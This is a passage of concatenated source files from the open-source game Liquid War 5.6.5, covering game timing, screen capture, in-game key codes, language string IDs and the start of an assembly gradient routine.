TIME_ELAPSED; int TIME_LEFT; int GLOBAL_TICKER; int GLOBAL_CLOCK = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ void update_play_time (void) { GLOBAL_TICKER = get_ticker () - TICKER_START; if (PAUSE_ON) { if (TICKER_PAUSE_START == 0) TICKER_PAUSE_START = get_ticker (); } else { if (TICKER_PAUSE_START != 0) { TICKER_PAUSED += get_ticker () - TICKER_PAUSE_START; TICKER_PAUSE_START = 0; } else TIME_ELAPSED = (get_ticker () - TICKER_START - TICKER_PAUSED) / 1000; } TIME_LEFT = TIME_TABLE[LW_CONFIG_CURRENT_RULES.game_time] - TIME_ELAPSED; if (TIME_LEFT < 0) TIME_LEFT = 0; if (TIME_LEFT <= 5 && BELL_RINGING == 0) { BELL_RINGING = 1; play_time (); } } /*------------------------------------------------------------------*/ void start_play_time (void) { GLOBAL_CLOCK = 2; TICKER_START = get_ticker (); TICKER_PAUSED = 0; TICKER_PAUSE_START = 0; TIME_ELAPSED = 0; TIME_LEFT = TIME_TABLE[LW_CONFIG_CURRENT_RULES.game_time] + 1; BELL_RINGING = 0; update_play_time (); } /*------------------------------------------------------------------*/ void write_time (int time, char *buffer) { int min, sec; min = time / 60; sec = time % 60; buffer[0] = '0' + min / 10; buffer[1] = '0' + min % 10; buffer[2] = ':'; buffer[3] = '0' + sec / 10; buffer[4] = '0' + sec % 10; buffer[5] = 0; } liquidwar-5.6.5/src/random.h0000664000372000037200000001110613407756104015360 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : random.h */ /* content : wrapper for the functions in ../utils/lwmpagen/ */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_RANDOM #define LIQUID_WAR_INCLUDE_RANDOM /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constantes */ /*==================================================================*/ /*==================================================================*/ /* types */ /*==================================================================*/ /*==================================================================*/ /* variables globales */ /*==================================================================*/ void *LW_RANDOM_RAW_MAP; int LW_RANDOM_ON; /*==================================================================*/ /* fonctions globales */ /*==================================================================*/ int lw_random_generate_map (); #endif liquidwar-5.6.5/src/capture.c0000664000372000037200000001626413407756104015550 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : capture.c */ /* content : capture the video output and dump it on the disk */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include #include "capture.h" #include "viewport.h" #include "log.h" #include "init.h" #include "palette.h" #include "config.h" #include "ticker.h" #include "macro.h" /*==================================================================*/ /* constants */ /*==================================================================*/ #define LW_CAPTURE_FILENAME_FORMAT_STRING "lw%06d.bmp" #define LW_CAPTURE_FILENAME_BUFFER_SIZE 100 /*==================================================================*/ /* globals */ /*==================================================================*/ static int LW_CAPTURE_MODE = 0; /*==================================================================*/ /* functions */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* * Returns the capture mode */ int lw_capture_get_mode () { return LW_CAPTURE_MODE; } /*------------------------------------------------------------------*/ /* * Sets the capture mode */ void lw_capture_set_mode (int mode) { LW_CAPTURE_MODE = mode; } /*------------------------------------------------------------------*/ /* * Dumps the current video output on the disk, but performs some * checks which make it adapted to a menu context, such as not * calling the function "too often". */ int lw_capture_dump_menu () { int result = 1; static int last_dump_time = 0; /* * We don't dump stuff if the last dump is too recent. * To determine "how often" we may dump, we use the * same settings than the in-game "frame per sec" limit. */ if (get_ticker () >= last_dump_time + DISPLAY_DELAY_MIN[CONFIG_FRAMES_PER_SEC_LIMIT]) { last_dump_time = get_ticker (); /* * We do nothing if we're not in capture mode */ if (LW_CAPTURE_MODE) { lw_capture_dump_game (); } } /* * Now we check manually for F9 for there's no way * to do it easily within the generic menu code. */ if (key[KEY_F9]) { while (key[KEY_F9]) { /* * Force a all to poll_keyboard if needed */ keypressed (); rest (10); } LW_CAPTURE_MODE = !LW_CAPTURE_MODE; } return result; } /*------------------------------------------------------------------*/ /* * Dumps the current video output on the disk */ int lw_capture_dump_game () { int result = 1; char buffer[LW_CAPTURE_FILENAME_BUFFER_SIZE]; static int frame_number = 0; BITMAP *screenshot; /* * We do nothing if we're not in capture mode */ if (LW_CAPTURE_MODE) { /* * Prepare a nice filename */ LW_MACRO_SPRINTF1 (buffer, LW_CAPTURE_FILENAME_FORMAT_STRING, frame_number++); /* * Log on the console */ log_print_str ("Dumping video output to \""); log_print_str (buffer); log_print_str ("\""); /* * Create a sub-bitmap with the right size */ screenshot = create_sub_bitmap (screen, 0, PAGE_FLIP_H, SCREEN_W, SCREEN_H); if (screenshot) { /* * Write to disk */ result = !save_bitmap (buffer, screenshot, GLOBAL_PALETTE); destroy_bitmap (screenshot); } else { result = 0; } display_success (result); } return result; } liquidwar-5.6.5/src/code.c0000664000372000037200000002333013407756104015007 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : code.c */ /* contenu : codes et touches pendant le jeu */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*==================================================================*/ /* includes */ /*==================================================================*/ #include #include #include "config.h" #include "decal.h" #include "message.h" #include "profile.h" #include "code.h" #include "watchdog.h" #include "lang.h" #include "capture.h" #include "network.h" #include "macro.h" /*==================================================================*/ /* constantes */ /*==================================================================*/ #define LW_CODE_KEYWORD_SPEED "speed" #define LW_CODE_KEYWORD_GRADN "gradn" /*==================================================================*/ /* variables globales */ /*==================================================================*/ int GRAD_TO_DISP = 0; int PAUSE_ON = 0; int CHANGED_INFO_BAR = 0; /*==================================================================*/ /* fonctions */ /*==================================================================*/ /*------------------------------------------------------------------*/ static void display_special_info (void) { int global, spread, move, disp, flip; if (WATCHDOG_SCANCODE[KEY_F5]) { global = get_profile (GLOBAL_PROFILE); if (global <=0) global = 1; message_str_int (lw_lang_string (LW_LANG_STRING_CODE_FPS), 1000 / global); } if (WATCHDOG_SCANCODE[KEY_F6]) { global = get_logic_rate (); if (global <=0) global = 1; message_str_int (lw_lang_string (LW_LANG_STRING_CODE_RPS), 1000 / global); } if (WATCHDOG_SCANCODE[KEY_F7]) { global = get_profile (GLOBAL_PROFILE); spread = get_profile (SPREAD_PROFILE); move = get_profile (MOVE_PROFILE); if (global <=0) global = 1; message_str_int (lw_lang_string (LW_LANG_STRING_CODE_PERCENTCALC), (100 * (spread + move)) / global); } if (WATCHDOG_SCANCODE[KEY_F8]) { global = get_profile (GLOBAL_PROFILE); disp = get_profile (DISP_PROFILE); flip = get_profile (FLIP_PROFILE); if (global <=0) global = 1; message_str_int (lw_lang_string (LW_LANG_STRING_CODE_PERCENTDISPLAY), (100 * (disp + flip)) / global); } if (watchdog_is_keyword (LW_CODE_KEYWORD_SPEED)) { global = get_profile (GLOBAL_PROFILE); spread = get_profile (SPREAD_PROFILE); move = get_profile (MOVE_PROFILE); disp = get_profile (DISP_PROFILE); flip = get_profile (FLIP_PROFILE); message_str_int (lw_lang_string (LW_LANG_STRING_CODE_SPREADGRADTIME), spread); message_str_int (lw_lang_string (LW_LANG_STRING_CODE_MOVEARMYTIME), move); message_str_int (lw_lang_string (LW_LANG_STRING_CODE_DISPLAYTIME), disp); message_str_int (lw_lang_string (LW_LANG_STRING_CODE_FLIPTIME), flip); message_str_int (lw_lang_string (LW_LANG_STRING_CODE_OTHERCALCTIME), global -spread - move - disp - flip); message_str_int (lw_lang_string (LW_LANG_STRING_CODE_GLOBALTIME), global); } } /*------------------------------------------------------------------*/ static void check_grad_to_disp (void) { char grad_codes[6]; int i, old; LW_MACRO_STRCPY (grad_codes, LW_CODE_KEYWORD_GRADN); old = GRAD_TO_DISP; for (i = 0; i <= 8; ++i) { grad_codes[4] = '0' + i; if (watchdog_is_keyword (grad_codes)) GRAD_TO_DISP = i; } if (GRAD_TO_DISP > 0 && GRAD_TO_DISP <= 6 && GRAD_TO_DISP > PLAYING_TEAMS) GRAD_TO_DISP = 0; if (old != GRAD_TO_DISP) switch (GRAD_TO_DISP) { case 0: message_str (lw_lang_string (LW_LANG_STRING_CODE_STANDARDDISPLAY)); break; case 1: message_str (lw_lang_string (LW_LANG_STRING_CODE_GRADIENT1)); break; case 2: message_str (lw_lang_string (LW_LANG_STRING_CODE_GRADIENT2)); break; case 3: message_str (lw_lang_string (LW_LANG_STRING_CODE_GRADIENT3)); break; case 4: message_str (lw_lang_string (LW_LANG_STRING_CODE_GRADIENT4)); break; case 5: message_str (lw_lang_string (LW_LANG_STRING_CODE_GRADIENT5)); break; case 6: message_str (lw_lang_string (LW_LANG_STRING_CODE_GRADIENT6)); break; case 7: message_str (lw_lang_string (LW_LANG_STRING_CODE_MESHSIZE)); break; case 8: message_str (lw_lang_string (LW_LANG_STRING_CODE_MESHSTRUCTURE)); break; } } /*------------------------------------------------------------------*/ static void check_boolean_codes (void) { /* * If we press F3 and we're not in network mode -> toggle pause mode */ if (WATCHDOG_SCANCODE[KEY_F3] && !LW_NETWORK_ON) { if (PAUSE_ON) { PAUSE_ON = 0; message_str (lw_lang_string (LW_LANG_STRING_CODE_PAUSEOFF)); } else { PAUSE_ON = 1; message_str (lw_lang_string (LW_LANG_STRING_CODE_PAUSEON)); } } if (WATCHDOG_SCANCODE[KEY_F4]) { if (CONFIG_WAVE_ON) { CONFIG_WAVE_ON = 0; message_str (lw_lang_string (LW_LANG_STRING_CODE_WAVEEFFECTSOFF)); } else { CONFIG_WAVE_ON = 1; message_str (lw_lang_string (LW_LANG_STRING_CODE_WAVEEFFECTSON)); } } if (WATCHDOG_SCANCODE[KEY_F9]) { if (lw_capture_get_mode ()) { lw_capture_set_mode (0); message_str (lw_lang_string (LW_LANG_STRING_CODE_CAPTUREOFF)); } else { lw_capture_set_mode (1); message_str (lw_lang_string (LW_LANG_STRING_CODE_CAPTUREON)); } } } /*------------------------------------------------------------------*/ void reset_code (void) { GRAD_TO_DISP = 0; PAUSE_ON = 0; } /*------------------------------------------------------------------*/ void check_code (void) { display_special_info (); check_grad_to_disp (); check_boolean_codes (); } liquidwar-5.6.5/src/lang.h0000664000372000037200000003572213407756104015033 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* name : lang.h */ /* content : handles language dependant stuff (locale) */ /********************************************************************/ #ifndef LIQUID_WAR_INCLUDE_LANG #define LIQUID_WAR_INCLUDE_LANG /*==================================================================*/ /* includes */ /*==================================================================*/ /*==================================================================*/ /* constants */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* Declaration of all available languages */ /*------------------------------------------------------------------*/ #define LW_LANG_LANGUAGE_AUTO -1 #define LW_LANG_LANGUAGE_ENGLISH 0 #define LW_LANG_LANGUAGE_FRANCAIS 1 #define LW_LANG_LANGUAGE_DEUTSCH 2 #define LW_LANG_LANGUAGE_DANSK 3 #define LW_LANG_LANGUAGE_POLSKI 4 #define LW_LANG_NB_LANGUAGES 5 /*------------------------------------------------------------------*/ /* Declaration of all available strings */ /*------------------------------------------------------------------*/ #define LW_LANG_STRING_LANGUAGE 0 #define LW_LANG_STRING_APPNAME 1 #define LW_LANG_STRING_HELP_CREDITS 2 #define LW_LANG_STRING_HELP_COPYRIGHT 3 #define LW_LANG_STRING_HELP_LICENSE 4 #define LW_LANG_STRING_HELP_VERSION 5 #define LW_LANG_STRING_MENU_PLAY 6 #define LW_LANG_STRING_MENU_NETGAME 7 #define LW_LANG_STRING_MENU_MAP 8 #define LW_LANG_STRING_MENU_TEAMS 9 #define LW_LANG_STRING_MENU_OPTIONS 10 #define LW_LANG_STRING_MENU_ABOUT 11 #define LW_LANG_STRING_MENU_EXIT 12 #define LW_LANG_STRING_MENU_EXITDOS 13 #define LW_LANG_STRING_MENU_EXITWINDOWS 14 #define LW_LANG_STRING_MENU_EXITUNIX 15 #define LW_LANG_STRING_MENU_BACK 16 #define LW_LANG_STRING_DIALOG_QUIT 17 #define LW_LANG_STRING_DIALOG_BACK 18 #define LW_LANG_STRING_DIALOG_PLAY 19 #define LW_LANG_STRING_DIALOG_MAIN 20 #define LW_LANG_STRING_PLAY_GETREADY 21 #define LW_LANG_STRING_NETGAME_STARTGAME 22 #define LW_LANG_STRING_NETGAME_SERVERADDR 23 #define LW_LANG_STRING_NETGAME_SERVERPORT 24 #define LW_LANG_STRING_NETGAME_SEARCH 25 #define LW_LANG_STRING_NETGAME_PASSWORD 26 #define LW_LANG_STRING_NETGAME_WEAKPASSWORD 27 #define LW_LANG_STRING_LANGUAGE_AUTO 28 #define LW_LANG_STRING_TEAM_OFF 29 #define LW_LANG_STRING_TEAM_HUMAN 30 #define LW_LANG_STRING_TEAM_CPU 31 #define LW_LANG_STRING_OPTIONS_GRAPHICS 32 #define LW_LANG_STRING_OPTIONS_SOUND 33 #define LW_LANG_STRING_OPTIONS_RULES 34 #define LW_LANG_STRING_OPTIONS_SPEEDS 35 #define LW_LANG_STRING_OPTIONS_CONTROLS 36 #define LW_LANG_STRING_OPTIONS_LANGUAGE 37 #define LW_LANG_STRING_OPTIONS_DEFAULT 38 #define LW_LANG_STRING_GRAPHICS_GAME 39 #define LW_LANG_STRING_GRAPHICS_MENU 40 #define LW_LANG_STRING_GRAPHICS_ON 41 #define LW_LANG_STRING_GRAPHICS_OFF 42 #define LW_LANG_STRING_GRAPHICS_FULLSCREEN 43 #define LW_LANG_STRING_GRAPHICS_WINDOWED 44 #define LW_LANG_STRING_GRAPHICS_ADVANCED 45 #define LW_LANG_STRING_GRAPHICS_VIDEOMODE 46 #define LW_LANG_STRING_GRAPHICS_BRIGHTNESS 47 #define LW_LANG_STRING_GRAPHICS_VIEWPORTSIZE 48 #define LW_LANG_STRING_GRAPHICS_PAGEFLIPPING 49 #define LW_LANG_STRING_GRAPHICS_WAVES 50 #define LW_LANG_STRING_VOLUME_SFX 51 #define LW_LANG_STRING_VOLUME_CLICK 52 #define LW_LANG_STRING_VOLUME_GAMEWATER 53 #define LW_LANG_STRING_VOLUME_MENUWATER 54 #define LW_LANG_STRING_VOLUME_MUSIC 55 #define LW_LANG_STRING_RULES_TIME 56 #define LW_LANG_STRING_RULES_ADVANCED 57 #define LW_LANG_STRING_RULES_ARMYSIZE 58 #define LW_LANG_STRING_RULES_CURSOR 59 #define LW_LANG_STRING_RULES_DEFAULT 60 #define LW_LANG_STRING_RULES_MINMAPRES 61 #define LW_LANG_STRING_ADVANCED_ATTACK 62 #define LW_LANG_STRING_ADVANCED_DEFENSE 63 #define LW_LANG_STRING_ADVANCED_BASEHEALTH 64 #define LW_LANG_STRING_ADVANCED_WINNERHELP 65 #define LW_LANG_STRING_ADVANCED_CPUSTRENGTH 66 #define LW_LANG_STRING_ADVANCED_CPUVSHUMAN 67 #define LW_LANG_STRING_ADVANCED_ALWAYS 68 #define LW_LANG_STRING_ADVANCED_RANDOM 69 #define LW_LANG_STRING_ADVANCED_NEVER 70 #define LW_LANG_STRING_ADVANCED_ASMALGORITHM 71 #define LW_LANG_STRING_ADVANCED_ASSEMBLY 72 #define LW_LANG_STRING_ADVANCED_STANDARDC 73 #define LW_LANG_STRING_ADVANCED_ALLOWNETWORKBOTS 74 #define LW_LANG_STRING_ADVANCED_YES 75 #define LW_LANG_STRING_ADVANCED_NO 76 #define LW_LANG_STRING_SPEEDS_FPS 77 #define LW_LANG_STRING_SPEEDS_NOFPSLIMIT 78 #define LW_LANG_STRING_SPEEDS_RPS 79 #define LW_LANG_STRING_SPEEDS_NORPSLIMIT 80 #define LW_LANG_STRING_CONTROLS_JOYSTICK 81 #define LW_LANG_STRING_CONTROLS_OFF 82 #define LW_LANG_STRING_CONTROLS_2JOYSTICKS 83 #define LW_LANG_STRING_CONTROLS_4BUTTONS 84 #define LW_LANG_STRING_CONTROLS_STANDARD 85 #define LW_LANG_STRING_CONTROLS_MOUSESENSIB 86 #define LW_LANG_STRING_ABOUT_CREDITS 87 #define LW_LANG_STRING_ABOUT_COPYRIGHT 88 #define LW_LANG_STRING_ABOUT_LICENSE 89 #define LW_LANG_STRING_ABOUT_VERSION 90 #define LW_LANG_STRING_INTERNET_REFRESH 91 #define LW_LANG_STRING_INTERNET_JOINNOW 92 #define LW_LANG_STRING_INTERNET_PORT 93 #define LW_LANG_STRING_INTERNET_PASSWORD 94 #define LW_LANG_STRING_INTERNET_YES 95 #define LW_LANG_STRING_INTERNET_NO 96 #define LW_LANG_STRING_INTERNET_UPTIME 97 #define LW_LANG_STRING_INTERNET_DAYS 98 #define LW_LANG_STRING_INTERNET_DAY 99 #define LW_LANG_STRING_INTERNET_HOURS 100 #define LW_LANG_STRING_INTERNET_MINUTES 101 #define LW_LANG_STRING_INTERNET_SECONDS 102 #define LW_LANG_STRING_INTERNET_UNREACHABLE 103 #define LW_LANG_STRING_INTERNET_PING 104 #define LW_LANG_STRING_INTERNET_MSEC 105 #define LW_LANG_STRING_WAVE_AMPLI 106 #define LW_LANG_STRING_WAVE_NUMBER 107 #define LW_LANG_STRING_WAVE_SPEED 108 #define LW_LANG_STRING_WAVE_WX 109 #define LW_LANG_STRING_WAVE_HY 110 #define LW_LANG_STRING_WAVE_WY 111 #define LW_LANG_STRING_WAVE_HX 112 #define LW_LANG_STRING_CONNECT_STARTNOW 113 #define LW_LANG_STRING_CONNECT_WAITING 114 #define LW_LANG_STRING_CONNECT_WAITINGFOR 115 #define LW_LANG_STRING_CONNECT_TEAMS 116 #define LW_LANG_STRING_CONNECT_SENDMESSAGE 117 #define LW_LANG_STRING_NETPLAY_CONNECT 118 #define LW_LANG_STRING_NETPLAY_PING 119 #define LW_LANG_STRING_NETPLAY_CHECKPROGRAM 120 #define LW_LANG_STRING_NETPLAY_CHECKVERSION 121 #define LW_LANG_STRING_NETPLAY_SENDPASSWORD 122 #define LW_LANG_STRING_NETPLAY_FREETEAMS 123 #define LW_LANG_STRING_NETPLAY_RESERVETEAMS 124 #define LW_LANG_STRING_NETPLAY_SENDCONFIG 125 #define LW_LANG_STRING_NETPLAY_SENDMAP 126 #define LW_LANG_STRING_NETPLAY_WAITING 127 #define LW_LANG_STRING_NETPLAY_WHOPLAYS 128 #define LW_LANG_STRING_NETPLAY_RECVCONFIG 129 #define LW_LANG_STRING_NETPLAY_RECVMAP 130 #define LW_LANG_STRING_LEVEL_USEDEFAULTTEXTURE 131 #define LW_LANG_STRING_LEVEL_ON 132 #define LW_LANG_STRING_LEVEL_OFF 133 #define LW_LANG_STRING_LEVEL_RANDOMMAP 134 #define LW_LANG_STRING_CODE_FPS 135 #define LW_LANG_STRING_CODE_RPS 136 #define LW_LANG_STRING_CODE_PERCENTCALC 137 #define LW_LANG_STRING_CODE_PERCENTDISPLAY 138 #define LW_LANG_STRING_CODE_SPREADGRADTIME 139 #define LW_LANG_STRING_CODE_MOVEARMYTIME 140 #define LW_LANG_STRING_CODE_DISPLAYTIME 141 #define LW_LANG_STRING_CODE_FLIPTIME 142 #define LW_LANG_STRING_CODE_OTHERCALCTIME 143 #define LW_LANG_STRING_CODE_GLOBALTIME 144 #define LW_LANG_STRING_CODE_STANDARDDISPLAY 145 #define LW_LANG_STRING_CODE_GRADIENT1 146 #define LW_LANG_STRING_CODE_GRADIENT2 147 #define LW_LANG_STRING_CODE_GRADIENT3 148 #define LW_LANG_STRING_CODE_GRADIENT4 149 #define LW_LANG_STRING_CODE_GRADIENT5 150 #define LW_LANG_STRING_CODE_GRADIENT6 151 #define LW_LANG_STRING_CODE_MESHSIZE 152 #define LW_LANG_STRING_CODE_MESHSTRUCTURE 153 #define LW_LANG_STRING_CODE_PAUSEOFF 154 #define LW_LANG_STRING_CODE_PAUSEON 155 #define LW_LANG_STRING_CODE_WAVEEFFECTSOFF 156 #define LW_LANG_STRING_CODE_WAVEEFFECTSON 157 #define LW_LANG_STRING_CODE_CAPTUREOFF 158 #define LW_LANG_STRING_CODE_CAPTUREON 159 #define LW_LANG_STRING_SCORE_WINNER 160 #define LW_LANG_STRING_GAME_BACKMEMFAIL 161 #define LW_LANG_STRING_GAME_DISPMEMFAIL 162 #define LW_LANG_STRING_GAME_MESHMEMFAIL 163 #define LW_LANG_STRING_GAME_AREAMEMFAIL 164 #define LW_LANG_STRING_GAME_ARMYMEMFAIL 165 #define LW_LANG_STRING_ERROR_NOTENOUGHTEAMS 166 #define LW_LANG_STRING_ERROR_NOTENOUGHBIGDATA 167 #define LW_LANG_STRING_ERROR_GRAPHICSINITFAILED 168 #define LW_LANG_STRING_ERROR_NONETWORKSUPPORT 169 #define LW_LANG_STRING_ERROR_UNABLETOCONNECT 170 #define LW_LANG_STRING_ERROR_NOTALIQUIDWARSERVER 171 #define LW_LANG_STRING_ERROR_WRONGVERSION 172 #define LW_LANG_STRING_ERROR_NETWORKPROBLEM 173 #define LW_LANG_STRING_ERROR_CANTSENDMAP 174 #define LW_LANG_STRING_ERROR_CANTRECEIVEMAP 175 #define LW_LANG_STRING_ERROR_SERVERFULL 176 #define LW_LANG_STRING_ERROR_BADPASSWORD 177 #define LW_LANG_STRING_ERROR_BADCONFIGRANGE 178 #define LW_LANG_STRING_POPUP_INITFAIL 179 #define LW_LANG_STRING_POPUP_MEMTROUBLE 180 #define LW_LANG_STRING_POPUP_BIGDATA 181 #define LW_LANG_STRING_POPUP_LOADFAIL 182 #define LW_LANG_STRING_POPUP_CUSTOMFAIL 183 #define LW_LANG_STRING_POPUP_GRAPHICSFAIL 184 #define LW_LANG_STRING_LW6_INFO 185 #define LW_LANG_STRING_LW6_OK 186 #define LW_LANG_NB_STRINGS 187 /*==================================================================*/ /* globals */ /*==================================================================*/ /*==================================================================*/ /* functions */ /*==================================================================*/ extern void lw_lang_init (); extern char *lw_lang_string (int id); extern char *lw_lang_language (int lang); extern int lw_lang_auto (); #endif liquidwar-5.6.5/src/spread.s0000664000372000037200000005650513407756104015405 0ustar travistravis/********************************************************************/ /* */ /* L I QQ U U I DD W W A RR 555 */ /* L I Q Q U U I D D W W A A R R 5 */ /* L I Q Q U U I D D W W W AAA RR 55 */ /* L I Q Q U U I D D WW WW A A R R 5 */ /* LLL I Q Q U I DD W W A A R R 55 */ /* */ /* b */ /* bb y y */ /* b b yyy */ /* bb y */ /* yy */ /* */ /* U U FFF O O TTT */ /* U U F O O O O T */ /* U U TIRET FF O O O O T */ /* U U F O O O O T */ /* U F O O T */ /* */ /********************************************************************/ /*****************************************************************************/ /* Liquid War is a multiplayer wargame */ /* Copyright (C) 1998-2018 Christian Mauduit */ /* */ /* This program is free software; you can redistribute it and/or modify */ /* it under the terms of the GNU General Public License as published by */ /* the Free Software Foundation; either version 2 of the License, or */ /* (at your option) any later version. */ /* */ /* This program is distributed in the hope that it will be useful, */ /* but WITHOUT ANY WARRANTY; without even the implied warranty of */ /* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the */ /* GNU General Public License for more details. */ /* */ /* You should have received a copy of the GNU General Public License */ /* along with this program; if not, write to the Free Software */ /* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ /* */ /* Liquid War homepage : https://ufoot.org/liquidwar/v5 */ /* Contact author : ufoot@ufoot.org */ /*****************************************************************************/ /********************************************************************/ /* nom : spread.s */ /* contenu : etalement du gradient accelere */ /* date de modif : 3 mai 98 */ /********************************************************************/ /*typedef union */ /* { */ /* int time; */ /* struct */ /* { */ /* short x; */ /* short y; */ /* } cursor; */ /* } MESH_UPDATE; */ /*typedef struct */ /* { */ /* int dir :8; */ /* int grad:24; */ /* } MESH_STATE; */ /*typedef struct */ /* { */ /* MESH_UPDATE update; */ /* MESH_STATE state; */ /* } MESH_INFO; */ /*typedef struct */ /* { */ /* char decal_for_dir :8; */ /* int size :24; */ /* } MESH_SIDE; */ /*typedef struct */ /* { */ /* short x; */ /* short y; */ /* MESH_SIDE side; */ /* MESH_INFO info[NB_TEAMS]; */ /* void *link[NB_DIRS]; */ /* } MESH; */ .equ SIZE_OF_MESH,104 .equ OFFSET_TO_GRAD_0,12 .equ OFFSET_TO_GRAD_1,20 .equ OFFSET_TO_GRAD_2,28 .equ OFFSET_TO_GRAD_3,36 .equ OFFSET_TO_GRAD_4,44 .equ OFFSET_TO_GRAD_5,52 .equ SQUARE_SIZE_INC,4 .equ ARG_FIRST,8 .equ ARG_SIZE,12 .equ ARG_OFFSET,16 .text /* il y a de maniere tres bourrine 5*2 procedures attachees chacune */ /* a l'etalement de 2,3,4,5 ou 6 gradients, le code est le meme */ /* dans chacune d'elle a l'exception d'une constante. */ /* la moitie des fonctions etale les gradients dans un sens, */ /* l'autre moitie les etale dans l'autre sens */ /*==================================================================*/ /* premiere serie de fonctions, etalement des gradients vers le bas */ /*==================================================================*/ /*------------------------------------------------------------------*/ /* void boost_gradient_down_2 (MESH *first, int size, int offset); */ /*------------------------------------------------------------------*/ .globl _boost_gradient_down_2 .globl boost_gradient_down_2 